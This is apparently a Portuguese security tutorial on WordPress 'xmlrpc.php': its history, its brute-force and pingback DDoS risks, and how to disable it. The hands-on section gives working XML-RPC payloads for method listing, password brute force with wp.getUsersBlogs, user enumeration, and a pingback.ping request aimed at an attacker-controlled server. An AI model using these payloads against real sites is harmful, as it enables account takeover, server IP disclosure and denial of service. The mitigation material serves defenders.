O que é “xmlrpc.php”?

XML-RPC é uma especificação que permite a comunicação entre o WordPress e outros sistemas. Ele faz isso padronizando essas comunicações, usando HTTP como mecanismo de transporte e XML como mecanismo de codificação.

XML-RPC é anterior ao WordPress: ele estava presente no software de blog b2, que foi bifurcado para criar o WordPress em 2003. O código por trás do sistema é armazenado em um arquivo chamado ““xmlrpc.php””, no diretório raiz do site. Mesmo que o XML-RPC esteja largamente desatualizado, ele ainda está lá.

Nas primeiras versões do WordPress, o XML-RPC foi desativado por padrão. O que antes era um recurso desativado, passou a ser habilitado por padrão a partir da versão 3.5 – onde o principal motivo era permitir que o aplicativo móvel WordPress comunicasse com sua instalação do WordPress.

Mas não foi apenas para o aplicativo móvel que o XML-RPC foi usado: ele também foi usado para permitir a comunicação entre WordPress e outras plataformas de blogs. O recurso permitiu trackbacks e pingbacks, e alimentou o plugin Jetpack que liga um site WordPress auto-hospedado ao WordPress.com.

Mas como o REST API foi integrado ao núcleo do WordPress, o arquivo ““xmlrpc.php”” não é mais utilizado para esta comunicação. Em vez disso, a REST API é usada para se comunicar com o aplicativo móvel WordPress, clientes desktop, outras plataformas de blogs, WordPress.com (para o plugin Jetpack) e com outros sistemas e serviços. A gama de sistemas com os quais a REST API pode interagir é muito maior do que a permitida pelo ““xmlrpc.php”” – além de prover muito mais flexibilidade.

Como o REST API substituiu o XML-RPC, você deve agora desativar o ““xmlrpc.php”” em seu site.

Vulnerabilidades comuns em XML-RPC

Ataques de força bruta via XML-RPC

Cada vez que o “xmlrpc.php” faz um pedido por meio de uma requisição, ele envia o nome de usuário e a senha para autenticação. Isso apresenta responsabilidade significativa de segurança e é algo que a REST API não faz. Na verdade, a REST API usa OAuth que envia tokens para autenticação em vez de nomes de usuário e/ou senhas.

Como o “xmlrpc.php” envia informações de autenticação com cada pedido, os hackers poderiam usá-las para tentar acessar seu site. Um ataque de força bruta como este poderia permitir que eles inserissem conteúdo, apagassem código ou danificassem seu banco de dados.

Se um atacante enviar pedidos suficientes ao seu site, cada um com um par de nome de usuário e senha diferentes, há uma eventual chance de acertarem com uma credencial válida, dando-lhes acesso ao seu site.

É por isso que se você estiver executando uma versão atualizada do WordPress que usa a REST API para se comunicar com sistemas externos, você deve desativar o “xmlrpc.php”. Manter tal arquivo pode tornar seu site vulnerável a ataques.

Ataques DDoS via XML-RPC Pingbacks

Duas das funções que o “xmlrpc.php” habilitou foi o pingbacks e trackbacks. Estas são as notificações que aparecem nos comentários de seu site quando outro blog ou site faz um link para seu conteúdo.

A especificação XML-RPC foi o que tornou possível essa comunicação, entretanto, foi substituído pelo REST API.

Se o XML-RPC estiver habilitado em seu site, um hacker pode potencialmente montar um ataque DDoS em seu site explorando o “xmlrpc.php” para enviar um grande número de pingbacks para seu site em um curto espaço de tempo. Isso poderia sobrecarregar seu servidor e colocar o site fora de ação.

Agora vamos entrar para a parte prática – o HandsOn.

Ataque de força bruta

Inicialmente acessamos o endereço a seguir:

http://<alvo.com>/<diretório wordpress>/”xmlrpc.php”

Ao verificarmos esta imagem, detectamos que o XML-RPC só aceita requisições por meio do método POST.

Com base nisso, nós utilizamos uma ferramenta de proxy (Burp Suite) para realizar a alteração dos métodos para consumir este recurso.

Neste momento, precisamos adicionar o conteúdo correto ao body da requisição para consumirmos o recurso. Para expor os recursos disponíveis, utilizamos o seguinte payload:

<methodCall>

<methodName>system.listMethods</methodName>

<params></params>

</methodCall>

Para realizarmos o ataque de brute force, iremos utilizar a função wp.getUsersBlogs, quem tem como utilização o seguinte parâmetro:

<methodCall>

<methodName> wp.getUsersBlogs </methodName>

<params>

<param><value>admin</value> </param>

<param><value>pass</value> </param>

</params>

</methodCall>

Se caso você não tenha um usuário válido para realizar o ataque, recomendamos fazer a enumeração através do endpoint wp-json/wp/v2/users.

Já com posse dos usuários podemos realizar o ataque.

Neste momento, configuramos a ferramenta Burp Suite para realizar o ataque de forma automatizada.

Adicionamos a lista de senhas que queremos utilizar, neste caso iremos utilizar somente uma lista básica padrão, somente para exemplificar a execução do ataque.

Após realizarmos a configuração da ferramenta, clicamos em Start attack.

Ataque utilizando a função pingback do WordPress

Primeiramente vamos explicar do que se trata o pingback, para podermos seguir com o nosso ataque.

O Pingback nada mais é do que uma notificação enviada sempre que um post de seu blog é taggeado ou mencionado. Imagine uma tag ou menção no Instagram e Facebook, você sempre é notificado.

O WordPress define o Pingback como um tipo de comando especial que é criado ao linkar a um outro post de blog, desde que o outro blog habilite a ferramenta.

Vamos novamente listar as funções do XML-RPC disponíveis.

Ao localizarmos a função de pingback.ping vamos configurar a ferramenta para a execução do ataque.

Iremos utilizar o seguinte payload na requisição:

<methodCall> <methodName>

pingback.ping </methodName>

<params> <param>

<value> <string> http: // <SEU SERVIDOR>: < port> </string> </value>

</param> <param> <value> <string> http: // <ALVO> </string>

</value></param> </params>

</methodCall>

Para receber a resposta da requisição, você pode utilizar o próprio Burp Collaborator ou qualquer outro site que receba essa requisição como por exemplo o http://pingb.in/.

Como resposta temos o IP do servidor.

Como evitar ataques contra o XML-RPC?

Como desativar o “xmlrpc.php” sem um Plugin

Se você preferir não instalar outro plugin em seu site, você pode desativar o “xmlrpc.php” adicionando algum código em um filtro, ou ao seu arquivo .htaccess. Vamos analisar os dois métodos.

Desativar “xmlrpc.php” através de um filtro

Uma opção aqui é usar o filtro xmlrpc_enabled para desativar o “xmlrpc.php”. Adicione esta função a um plugin e ative-o em seu site:

add_filter( ‘xmlrpc_enabled’, ‘__return_false’ );

Você poderia adicionar isto ao seu arquivo de funções temáticas, mas é melhor praticar a escrita de um plugin.

A outra opção tem a ver com a edição de seu arquivo .htaccess, que está disponível com provedores de hospedagem que utilizam Apache, conectando-se ao servidor de seu site via FTP ou cPanel.

Desativar “xmlrpc.php” através do arquivo .htacess

Em seu arquivo .htaccess, adicione este código:

<Files “xmlrpc.php”>

Order Allow,Deny

Deny from all

</Files>

Certifique-se de fazer uma cópia do arquivo antigo antes de fazê-lo, para o caso de se deparar com qualquer problema.